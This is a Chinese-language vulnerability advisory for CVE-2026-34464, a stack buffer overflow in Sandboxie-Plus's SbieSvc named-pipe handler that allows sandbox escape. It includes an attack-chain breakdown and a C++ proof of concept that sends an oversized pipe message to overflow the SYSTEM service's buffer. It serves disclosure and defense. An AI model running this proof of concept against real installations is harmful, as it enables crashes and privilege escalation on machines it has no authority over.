IPBUF安全漏洞报告
English
CVE-2026-34464 CVSS 8.8 高危

CVE-2026-34464 Sandboxie-Plus栈溢出致沙箱逃逸

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-34464
漏洞类型
栈缓冲区溢出、沙箱逃逸
CVSS评分
8.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Sandboxie-Plus

相关标签

缓冲区溢出沙箱逃逸本地提权Sandboxie-Plus

漏洞概述

Sandboxie-Plus 1.17.2及更早版本中存在栈缓冲区溢出漏洞。攻击者可利用NamedPipeServer::OpenHandler中的wcscat函数缺陷,通过发送特制消息导致SYSTEM服务崩溃或提权执行代码,实现沙箱逃逸。

技术细节

该漏洞源于Sandboxie-Plus的NamedPipeServer::OpenHandler处理逻辑。该函数在处理NAMED_PIPE_OPEN_REQ结构体时,未对server字段进行空终止验证,直接使用wcscat将其拼接到固定大小(160 WCHAR)的栈缓冲区pipename中。由于服务管道接受可变长度消息,且仅强制最小数据包大小,沙箱内的低权限攻击者可填充server[48]字段并在结构体后附加额外的受控宽字符。wcscat会继续读取直到遇到空终止符,导致数据溢出固定栈缓冲区。由于SbieSvc以SYSTEM权限运行,成功利用此漏洞可导致服务崩溃或以SYSTEM身份执行任意代码,从而实现沙箱逃逸。

攻击链分析

STEP 1
1. 沙箱初始化
攻击者在Sandboxie-Plus沙箱环境内启动恶意进程,获得本地低权限执行能力。
STEP 2
2. 构造恶意数据
攻击者构造特制的NAMED_PIPE_OPEN_REQ消息,填充server字段为非空字符,并在结构体末尾附加溢出数据。
STEP 3
3. 发送管道消息
攻击者通过命名管道将特制消息发送给运行在SYSTEM权限下的SbieSvc服务。
STEP 4
4. 触发溢出
SbieSvc的OpenHandler函数调用wcscat处理消息,由于未正确截断,导致栈缓冲区pipename溢出。
STEP 5
5. 执行代码或拒绝服务
溢出数据覆盖返回地址或关键内存,导致服务崩溃(DoS)或劫持执行流以SYSTEM权限运行代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual PoC for CVE-2026-34464 // Stack buffer overflow in Sandboxie-Plus NamedPipeServer::OpenHandler #include <windows.h> #include <iostream> // Simulated structure based on vulnerability description // The 'server' field is 48 WCHARs wide typedef struct _NAMED_PIPE_OPEN_REQ { // ... other fields ... WCHAR server[48]; // ... other fields ... } NAMED_PIPE_OPEN_REQ; int main() { // Attempt to connect to the Sandboxie service pipe HANDLE hPipe = CreateFileW(L"\\.\pipe\SandboxieService", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hPipe == INVALID_HANDLE_VALUE) { std::cerr << "Failed to connect to pipe. Service might not be running." << std::endl; return 1; } // Prepare the malicious payload // Goal: Overflow the 'pipename[160]' stack buffer in OpenHandler // wcscat appends 'server' field to 'pipename'. // If 'server' lacks null termination within 48 chars and we append extra data // after the structure, wcscat reads out of bounds. // 1. Allocate a buffer larger than the expected structure size SIZE_T payloadSize = sizeof(NAMED_PIPE_OPEN_REQ) + 256; BYTE* payload = (BYTE*)malloc(payloadSize); ZeroMemory(payload, payloadSize); NAMED_PIPE_OPEN_REQ* req = (NAMED_PIPE_OPEN_REQ*)payload; // 2. Fill the 'server' field with non-null wide characters // This forces wcscat to keep reading past the 48-byte boundary for (int i = 0; i < 48; i++) { req->server[i] = L'A'; } // 3. Append controlled wide characters immediately after the structure // The handler treats the message as variable length, so this data is part of the stream WCHAR* overflowData = (WCHAR*)(payload + sizeof(NAMED_PIPE_OPEN_REQ)); for (int i = 0; i < 100; i++) { overflowData[i] = L'B'; // This data will overflow the stack buffer } // 4. Send the payload to the SYSTEM service DWORD bytesWritten; BOOL result = WriteFile(hPipe, payload, (DWORD)payloadSize, &bytesWritten, NULL); if (result) { std::cout << "Payload sent successfully. Check for service crash or code execution." << std::endl; } else { std::cerr << "Failed to send payload." << std::endl; } free(payload); CloseHandle(hPipe); return 0; }

影响范围

Sandboxie-Plus <= 1.17.2

防御指南

临时缓解措施
建议用户立即升级到修复版本。若无法立即升级,应严格限制沙箱内应用程序的权限,并关注系统日志中SbieSvc的崩溃情况,以防范潜在的利用攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表